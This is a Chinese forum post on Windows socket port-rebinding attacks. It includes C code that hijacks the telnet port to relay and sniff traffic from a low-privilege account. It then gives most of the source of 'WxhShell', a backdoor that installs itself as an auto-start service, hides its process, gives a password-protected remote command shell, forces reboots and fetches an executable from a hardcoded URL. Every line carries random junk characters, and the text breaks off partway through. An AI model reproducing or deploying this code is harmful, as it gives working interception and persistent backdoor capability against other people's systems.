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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4'`*Sce}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q }9n.  
G)9`Qn  
  saddr.sin_family = AF_INET; T=pKen/  
/"1[qT\F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); OnE~0+  
|X~vsM0  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 2QIo|$  
VZA>ErB  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FvBnmYn W  
+ j6^g*  
  这意味着什么?意味着可以进行如下的攻击: @Z9>E+udQ  
 <>=abgg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 twPD'X!r  
TiI3<.a!  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .ldBl  
piPV&ytI  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Jqt|' G3  
~$ 4!C'0  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  v%Su#xq/  
T@N)BfkB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qNbgN{4  
Ymg,NkiP0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @'?7au ''  
.[o?qCsw  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d1d:5 b  
~NO'8 Mr  
  #include 1 swqs7rR|  
  #include BOW`{=  
  #include Vdf~rV  
  #include    7!8R)m^1[  
  DWORD WINAPI ClientThread(LPVOID lpParam);   xa%2w]  
  int main() J)=Ts({  
  { =$vy_UN  
  WORD wVersionRequested; RsP^T:M}$  
  DWORD ret; \YF'qWB  
  WSADATA wsaData; fu`|@S  
  BOOL val; th|TwD&mO  
  SOCKADDR_IN saddr; ebB8.(k9G3  
  SOCKADDR_IN scaddr; YR68'Sft[  
  int err; GG`;c?d@  
  SOCKET s; 6C*4' P9>  
  SOCKET sc; jR,3 -JQ  
  int caddsize; C6}`qD  
  HANDLE mt; T:EUI]  
  DWORD tid;   Jd/XEs?<q  
  wVersionRequested = MAKEWORD( 2, 2 ); K9euNa  
  err = WSAStartup( wVersionRequested, &wsaData ); 1VO>Bh.Wm  
  if ( err != 0 ) { g6<D 1r  
  printf("error!WSAStartup failed!\n"); [ST7CrwC  
  return -1; VaylbYUCT/  
  } }kb6;4>c  
  saddr.sin_family = AF_INET; A ]~%<=b  
   %;tBWyq}_  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  EoHrXv  
a/p /<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); q8f nUK?i  
  saddr.sin_port = htons(23); G!m;J8#m(  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) `v1~nNoY  
  { ~-2q3U Py  
  printf("error!socket failed!\n"); -D,kL  
  return -1; 6SmawPPP  
  } yDBMm^  
  val = TRUE; &GLe4zEh  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g 2&P  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) CjlA"_!%E  
  { *Mr'/qp,  
  printf("error!setsockopt failed!\n"); 5JRj'G0I  
  return -1; &+F}$8,  
  } \"hP*DJ"  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r#' E;Yx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 eWAgYe2  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 BZWGXzOFh  
23[XmBf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^Dw18gqr=@  
  { 1c03<(FCd  
  ret=GetLastError(); W&Gt^5  
  printf("error!bind failed!\n"); &Kc'g H  
  return -1; Cr$8\{2OA7  
  } c9N5c  
  listen(s,2); WCZeY?_^c  
  while(1) sD`OHV:  
  { UG<`m]  
  caddsize = sizeof(scaddr); 5iP{)  
  //接受连接请求 v?(9ZY]  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); c,RY j  
  if(sc!=INVALID_SOCKET) P0^7hSo  
  { \KPwh]0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); )Aa  h  
  if(mt==NULL) :s'hXo  
  { H;rLU9b  
  printf("Thread Creat Failed!\n"); .< /.(7  
  break; 7`Bwo*Y  
  } tR% &.,2  
  } i$W=5B>SO  
  CloseHandle(mt); 14;lB.$p  
  } Gf1O7L1rX  
  closesocket(s); 07tSXl5!  
  WSACleanup(); h O}nc$S  
  return 0; nvnJVkL9s  
  }   ,}_uk]AQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) \Zms  
  { '2.11cM3  
  SOCKET ss = (SOCKET)lpParam; dX:#KdK  
  SOCKET sc; :*{\oqFn~$  
  unsigned char buf[4096]; _Zs]za.#)|  
  SOCKADDR_IN saddr; `SSUQ#@  
  long num; rCdf*;  
  DWORD val; 0vm}[a4+i;  
  DWORD ret; JqYt^,,Q:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vAp?Zl?g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   uA2-&smw  
  saddr.sin_family = AF_INET; ^L;k  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Q.Ljz Z  
  saddr.sin_port = htons(23); &SE+7HXw  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 5!)_" u3  
  { !2Q>   
  printf("error!socket failed!\n"); b5Pakz=jNM  
  return -1; mMRdnf!Uid  
  } /*yPy?  
  val = 100; a2N4Jg@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4\%XC F!  
  { mrz@Y0mgL  
  ret = GetLastError(); ngHPOI16  
  return -1; LQrm/)4bF5  
  } Ghpk0ia%d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,HM~Zs  
  { [r5k8TB1  
  ret = GetLastError(); ;BMm47<  
  return -1; rCa2$#Z  
  } z7P] g C$\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) =q-HR+  
  { ^U4|TR6mub  
  printf("error!socket connect failed!\n"); Z6vm!#\  
  closesocket(sc); h8lI# Gs  
  closesocket(ss); pe1_E KU  
  return -1; rv?d3QqIC  
  } ~NtAr1  
  while(1) qxe%RYdA'j  
  { 8^Ov.$rP  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j,/t<@S>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 L7lRh=D  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 E[RLBO[*n  
  num = recv(ss,buf,4096,0); T>;Kq;(9  
  if(num>0) M:Aik&  
  send(sc,buf,num,0); JKsdPW<?  
  else if(num==0) p-t*?p C  
  break; +2+wNFU  
  num = recv(sc,buf,4096,0); ?hQ,'M2  
  if(num>0) rX<gcntv  
  send(ss,buf,num,0); .5~W3v <  
  else if(num==0) M%NapK  
  break; @.fyOyOC  
  } *jF VYg  
  closesocket(ss); *t+E8)qL  
  closesocket(sc); eL+L {Ac  
  return 0 ; nE)|6  
  } a~-^$Fzgy  
4U*uH  
H}$hk  
========================================================== E0i_sB~T  
;|Ja|@82  
下边附上一个代码,,WXhSHELL tyLR_@i%%  
\#A=twp  
========================================================== P00pSRQHD  
K{&b "Ba1  
#include "stdafx.h" 42m}c1R  
Q b|.;_  
#include <stdio.h> CXs i  
#include <string.h> &Tf R].  
#include <windows.h> S}hg*mWn{$  
#include <winsock2.h> nd] AvVS  
#include <winsvc.h> ] cv|A^  
#include <urlmon.h> 0+\~^  
d[9NNm*htC  
#pragma comment (lib, "Ws2_32.lib") ,A>i)brc  
#pragma comment (lib, "urlmon.lib") D=fB&7%@  
^gdg0y!5~  
#define MAX_USER   100 // 最大客户端连接数 LEJ7.82  
#define BUF_SOCK   200 // sock buffer E5%ae (M^  
#define KEY_BUFF   255 // 输入 buffer d.7Xvx0Yww  
p ?HODwZ  
#define REBOOT     0   // 重启 ibOXh U  
#define SHUTDOWN   1   // 关机 D^Z~>D6  
A_t<SG5  
#define DEF_PORT   5000 // 监听端口 pP'-}%  
3o'SY@'W  
#define REG_LEN     16   // 注册表键长度 Kup-O u,  
#define SVC_LEN     80   // NT服务名长度 3\,TI`^C  
L?^C\g6u]  
// 从dll定义API Q#bFW?>y,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )W@H  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o4kNDXP#S  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m,u? ^W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >oc7=F<8lS  
Lh &L5p7  
// wxhshell配置信息 c3lfmTT6^  
struct WSCFG {  *ihg'  
  int ws_port;         // 监听端口 A&5$eGe9  
  char ws_passstr[REG_LEN]; // 口令 Oh:SH|=]#  
  int ws_autoins;       // 安装标记, 1=yes 0=no F|V co]"S1  
  char ws_regname[REG_LEN]; // 注册表键名 OD"eB?  
  char ws_svcname[REG_LEN]; // 服务名 tE{7S/?h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 l!ye\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aAko-,URC  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !qH=l-7A  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MjU>qx::  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {kJ[)7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 XEZ6%Q_  
$Mx.8FC +  
}; kmW!0hm;e  
\]J" e%  
// default Wxhshell configuration pAmTwe  
struct WSCFG wscfg={DEF_PORT, U gB  
    "xuhuanlingzhe", q<JI!n1O  
    1, q9Y0Lk  
    "Wxhshell", ^ d"tymDd  
    "Wxhshell", (6\A"jey\x  
            "WxhShell Service", ,ASY &J5)7  
    "Wrsky Windows CmdShell Service", =]E1T8|  
    "Please Input Your Password: ", 4PUM.%  
  1, AmSJ!mTd8o  
  "http://www.wrsky.com/wxhshell.exe", 'q*1HNwGp  
  "Wxhshell.exe" gr=ke #   
    }; hJ:Hv.{`)W  
p,D/ Pb8  
// 消息定义模块 yB. 6U56  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; McnP>n  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m$J'nA  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rI]:| k  
char *msg_ws_ext="\n\rExit."; )KRO=~Y  
char *msg_ws_end="\n\rQuit."; q#\eL~k  
char *msg_ws_boot="\n\rReboot..."; WaMn[/{  
char *msg_ws_poff="\n\rShutdown..."; +N4h Q"  
char *msg_ws_down="\n\rSave to "; 9Zrn(D  
*8XGo  
char *msg_ws_err="\n\rErr!"; .^kTb2$X  
char *msg_ws_ok="\n\rOK!"; l:@.D|(o3  
I )B2Z(<Q  
char ExeFile[MAX_PATH]; m Xw1%w[*  
int nUser = 0; !9)*.9[8  
HANDLE handles[MAX_USER]; n? s4"N6  
int OsIsNt; {8jG6  
Vxgc|E^J  
SERVICE_STATUS       serviceStatus; ^U_jeAuk8[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; kLD)<D  
3!$rp- !<)  
// 函数声明 0XozYyq  
int Install(void); V,M8RYOnC!  
int Uninstall(void); cRg$~rYd  
int DownloadFile(char *sURL, SOCKET wsh); nj9hRiL n  
int Boot(int flag); {{DW P-v4  
void HideProc(void); oW+R:2I~O  
int GetOsVer(void); \O/=g6w|t}  
int Wxhshell(SOCKET wsl); 9)YG)A~<  
void TalkWithClient(void *cs); hG;u8|uT^i  
int CmdShell(SOCKET sock); V u! ,tpa.  
int StartFromService(void); -=qmYf  
int StartWxhshell(LPSTR lpCmdLine); wOk:Q4OjL  
Yp ? 2<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |R[m&uOib  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $K G?d>wx  
4*dT|NU  
// 数据结构和表定义 >$"bwr}'4B  
SERVICE_TABLE_ENTRY DispatchTable[] = 1%=,J'AH  
{ i'EXylb  
{wscfg.ws_svcname, NTServiceMain}, JqZ%*^O  
{NULL, NULL} c&_3"2:  
}; %Bo Jt-v  
$Y4 Ao-@  
// 自我安装 TMRXl.1  
int Install(void) G![1+2p:Tq  
{ \m.{^Xd~  
  char svExeFile[MAX_PATH]; 7xd}J(l  
  HKEY key; $i`YtV  
  strcpy(svExeFile,ExeFile); 9%dNktt  
Z2@&4_P  
// 如果是win9x系统,修改注册表设为自启动 QDDSJ>l5_T  
if(!OsIsNt) { kB:R- St  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eeX>SL5'i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7vWB=r>5@  
  RegCloseKey(key); ~gAx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { HYY|) Wo  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (C:rH  
  RegCloseKey(key); [lJ[kr*7  
  return 0; 7)]G"m{  
    } A6Qi^TI  
  } GS^4t mc  
} l-npz)EM  
else { ]zm6;/ S  
2-CK:)n/#  
// 如果是NT以上系统,安装为系统服务 >]`x~cE.5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OL=bhZ  
if (schSCManager!=0) ](ninSX1w  
{ k{#:O=  
  SC_HANDLE schService = CreateService &vn9l#\(  
  ( cP Y^Bf5)  
  schSCManager, HvngjP{>  
  wscfg.ws_svcname, I[|I\tW  
  wscfg.ws_svcdisp, ls5S9R 5  
  SERVICE_ALL_ACCESS, Cm&itG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tv KX8m"  
  SERVICE_AUTO_START, S,v`rmI  
  SERVICE_ERROR_NORMAL, - t+Mh.  
  svExeFile, WV% KoM,%  
  NULL, g?`J,*y  
  NULL, +(<f(]bG  
  NULL, TvP# /qGgG  
  NULL, *Zvw&y*  
  NULL R}]FIu  
  ); K XGs'D  
  if (schService!=0) c2U>89LlZ  
  { yqU++;6  
  CloseServiceHandle(schService); 6 qq7:  
  CloseServiceHandle(schSCManager); Em 7q@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8?$2;uGL  
  strcat(svExeFile,wscfg.ws_svcname); v3NaX.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /IC' R"V a  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zry>s0  
  RegCloseKey(key); 7MfT~v  
  return 0; Y `{U45  
    } q}!4b'z^  
  } g[$B9 0  
  CloseServiceHandle(schSCManager); x<l1s  
} }B5I#Af7  
} )0Lq>6j9  
2Ar<(v$  
return 1; f.= E.%  
} (X9V-4  
g DhwJks  
// 自我卸载 A"'MRYT`  
int Uninstall(void) =bDG|:+  
{ = `^jz}  
  HKEY key; jmFN*VIL  
NR*SEbUU*  
if(!OsIsNt) { >g[W@FhT'k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gU?)  
  RegDeleteValue(key,wscfg.ws_regname); *t_&im%E  
  RegCloseKey(key); =6sXZ"_Tw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TU/J]'))C  
  RegDeleteValue(key,wscfg.ws_regname); aPC!M4#  
  RegCloseKey(key); Vo%d;>!G\;  
  return 0; H@zk8]_P  
  } @2mP  
} 9ZBF1sMg  
} g|P hNo  
else { "jHN#}  
82X.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y8PT`7gd`  
if (schSCManager!=0) R+K[/AA  
{ cabN<a l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6"GpE5'*  
  if (schService!=0) fo.m&mKgo  
  { "YL-!P  
  if(DeleteService(schService)!=0) { -)oBh  
  CloseServiceHandle(schService); a5-\=0L~  
  CloseServiceHandle(schSCManager); my1kF%?  
  return 0; T?Y\~.+99  
  } _#C}hwOR>X  
  CloseServiceHandle(schService); Xo`1#6xsE  
  } IfcFlXmt2  
  CloseServiceHandle(schSCManager); ,<1*  
} 6"7qZq  
} z'lNO| nU  
Ro<kp8  
return 1; qC )VT3  
} .N=hA  
qj&)w9RLJE  
// 从指定url下载文件 jO 55<s94  
int DownloadFile(char *sURL, SOCKET wsh) mV,R0olF  
{ M2}<gRL*}J  
  HRESULT hr; ZhsZy wM  
char seps[]= "/"; "b 0cj  
char *token; h 6*`V  
char *file; U3}R^W~eb  
char myURL[MAX_PATH]; vNC0M:p,  
char myFILE[MAX_PATH]; ]D%k)<YK  
N-gRfra+8L  
strcpy(myURL,sURL); H#inr^Xa  
  token=strtok(myURL,seps); E: GJ$I  
  while(token!=NULL) $J6.a!5IE  
  { LzRiiP^q  
    file=token; \#aVu^`eX  
  token=strtok(NULL,seps); ?^~"x.<nr  
  } yUO|3ONT  
{ ZX C%(u  
GetCurrentDirectory(MAX_PATH,myFILE); PoJ$%_a}  
strcat(myFILE, "\\"); L2'd sOn  
strcat(myFILE, file); :2E1aVo4b  
  send(wsh,myFILE,strlen(myFILE),0); j&A3s{S4A  
send(wsh,"...",3,0); opMUt,4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2~V Im#  
  if(hr==S_OK) ZRB 0OH  
return 0; Yys~p2  
else t\i1VXtO  
return 1; =[JN'|Q+  
sw|:Z(`  
} hZ<btN .y5  
cA? x(  
// 系统电源模块 2HXKz7da  
int Boot(int flag) d|]O<]CG_  
{ K;[%S  
  HANDLE hToken; AxlFU~E4  
  TOKEN_PRIVILEGES tkp; [+g@@\X4  
wkD:i2E7  
  if(OsIsNt) { (0W}e(D8  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); jJZsBOW[8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8%<`$`FyU  
    tkp.PrivilegeCount = 1; 8/"|VE DOr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7 Zt\G-QV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gvNZrp>e!  
if(flag==REBOOT) { -j_I_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) :(>9u.>l?5  
  return 0; |xZcT4  
} mE`qvavP|/  
else { >&QH{!(  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Rt^<xXX$  
  return 0; p{q!jm~Nq  
} *ldMr{s<R  
  } U5!f++  
  else { W@,p9=425  
if(flag==REBOOT) { KC:4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  YX`=M  
  return 0; *Ca)RgM  
} JA(fam~{  
else { RX5.bVp eE  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kLt9; <L  
  return 0; ;#s}b1  
} 2BDan^:-Av  
} DBJA}Cw  
lVdT^"~3  
return 1; M~Qj'VVL  
} |90 +)/$4  
=kh>s$We  
// win9x进程隐藏模块 >:E* 7  
void HideProc(void) u\R`IZ&O  
{ lhoq3A  
d-;9L56{P  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .l+~)$  
  if ( hKernel != NULL ) d:hL )x  
  { P5>5ps"iU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); `%M-7n9Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); vX0"S  
    FreeLibrary(hKernel); [W$Z60?RR  
  } ;Q=GJ5`B  
{M r~%y4  
return; ^2^|AXNES  
} 5!F\h'E  
s S5fd)x  
// 获取操作系统版本 yd ND$@; Z  
int GetOsVer(void) HNy/ -  
{ z8/xGQn  
  OSVERSIONINFO winfo; pp]_/46nN  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +K%pxuVh  
  GetVersionEx(&winfo); pzq; vMr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {HHh.K  
  return 1; r1oku0o  
  else ) wY!/&  
  return 0; g&+Y{*Gp  
} qC1U&b#MVx  
7q!yCU  
// 客户端句柄模块 tB7K&ssi  
int Wxhshell(SOCKET wsl) n2d8;B#  
{ BKQIo)g.G  
  SOCKET wsh; /Y[o=Uyl  
  struct sockaddr_in client; -nk#d%a\  
  DWORD myID; d)0LVa(  
(+UmUx=  
  while(nUser<MAX_USER) LR3`=Z9  
{ ~#"7,rQp  
  int nSize=sizeof(client); v0`qMBr1y  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h zZ-$IX X  
  if(wsh==INVALID_SOCKET) return 1; cc41b*ci$  
iog # ,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 8jggc#.  
if(handles[nUser]==0) 5, -pBep<  
  closesocket(wsh); :YqQlr\  
else 6!+X.+  
  nUser++; ^+*GbY$'  
  } hB?,7-  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^r>f2 x  
x^)g'16`  
  return 0; ^p 2.UW  
} g={]Mzh  
2"leUur~rO  
// 关闭 socket 1Sg|3T8bGT  
void CloseIt(SOCKET wsh) f4'El2>-86  
{ {jOzap|  
closesocket(wsh); T+;H#&  
nUser--; K[uY+!'1  
ExitThread(0); ZU-4})7uSB  
} 3J'73)y  
LAv:+o(m/  
// 客户端请求句柄 "Su b4F`  
void TalkWithClient(void *cs) 4<T*i{[  
{ wfBuU>  
7deAr$?Wx  
  SOCKET wsh=(SOCKET)cs; -c+>j  
  char pwd[SVC_LEN]; >-5td=:Z  
  char cmd[KEY_BUFF]; .!yWF?T8  
char chr[1]; 1mHwYT+  
int i,j; ]6{(Hjt  
qGnPnQc  
  while (nUser < MAX_USER) { By?nd)  
-RG8<bI,  
if(wscfg.ws_passstr) { P>*Fj4 Z~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }+Rgx@XZ\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s, n^  
  //ZeroMemory(pwd,KEY_BUFF); EkJVFHfh  
      i=0; *wC\w  
  while(i<SVC_LEN) { /"""z=q  
]}z'X!v_@  
  // 设置超时 tYs8)\{  
  fd_set FdRead; .P)s4rQ\  
  struct timeval TimeOut; t_jyyHxoZ:  
  FD_ZERO(&FdRead); N[qA2+e$Z  
  FD_SET(wsh,&FdRead); n1QEu"~Zj  
  TimeOut.tv_sec=8; `d7gm;ykp  
  TimeOut.tv_usec=0; s0cs'Rg  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nJFk4v4:2  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .E+OmJwD  
|7 &|>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u64 @"P  
  pwd=chr[0]; #^|| ]g/N  
  if(chr[0]==0xd || chr[0]==0xa) { (n=9c%w  
  pwd=0; !1a}| !Zn  
  break; f).*NX  
  } CifA,[l34  
  i++; x3Nkp4=Xd  
    } N'I(P9@  
izMYVI?0  
  // 如果是非法用户,关闭 socket zlH28V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UTZ776`S&X  
} `6&`wKz  
~Fy`>*  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P}HC(S1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y!SE;N&  
vqq6B/r@Fu  
while(1) { Y [W6Sc  
\UQ9MX _  
  ZeroMemory(cmd,KEY_BUFF); ;\N79)Gk  
/"=29sWB  
      // 自动支持客户端 telnet标准   oZgHSRRL  
  j=0; ,09DBxQq,  
  while(j<KEY_BUFF) { oP/>ju  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :<L5sp  
  cmd[j]=chr[0]; /@VsqD  
  if(chr[0]==0xa || chr[0]==0xd) { {'NBp0i  
  cmd[j]=0; ^^%JoQ.  
  break; /K7Bae5h  
  } M~uMY+>   
  j++; tKwn~T  
    } & x`&03X  
Di:{er(p  
  // 下载文件 Q4RpK(N  
  if(strstr(cmd,"http://")) { Nepi|{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); BU`ckK\(  
  if(DownloadFile(cmd,wsh)) )X/*($SuA  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); vX ?aB!nkw  
  else wHf&R3fg  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S+r^B?a<oM  
  } 0!pJ5q ,A  
  else { wfE^Sb3  
~p:?QB>1]  
    switch(cmd[0]) { 6 jmrD  
  yE#g5V&  
  // 帮助 4sTMgBzw  
  case '?': { !x>,N%~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); rWA6X DM7  
    break; I?B,sl_w  
  } 80C(H!^  
  // 安装 ML=eL*}l  
  case 'i': { zX98c  
    if(Install()) `?l3Ct*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u^t$ cLIZ  
    else c&E]E(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2`EVdl7B]  
    break; Xx_tpC?  
    } 9TC) w|  
  // 卸载 Lbcy:E*g  
  case 'r': { k@yh+v5  
    if(Uninstall()) S<"oUdkz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)?`{O~ h  
    else @Gt`Ds9=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Or7 mD  
    break; &=X.*H%  
    } |jsb@  
  // 显示 wxhshell 所在路径 uAUp5XP|Z  
  case 'p': { S`0NPGn;@[  
    char svExeFile[MAX_PATH]; dN< , %}R  
    strcpy(svExeFile,"\n\r"); $E\^v^LW  
      strcat(svExeFile,ExeFile); >TY6O.]  
        send(wsh,svExeFile,strlen(svExeFile),0); R::zuv  
    break; 'S*k_vuN  
    } wjrG7*_Y4v  
  // 重启 (-,>qMQs  
  case 'b': { DSvmVI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yI&9\fn  
    if(Boot(REBOOT)) -jB3L:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z8E1m"  
    else { ziiwxx_  
    closesocket(wsh); "oR@JbdX  
    ExitThread(0); @ &pqt6/t  
    } -\4zwIH  
    break; Br!9x {q*  
    } #Y2i*:<  
  // 关机 7VAJJv3  
  case 'd': { E$A3|rjnoN  
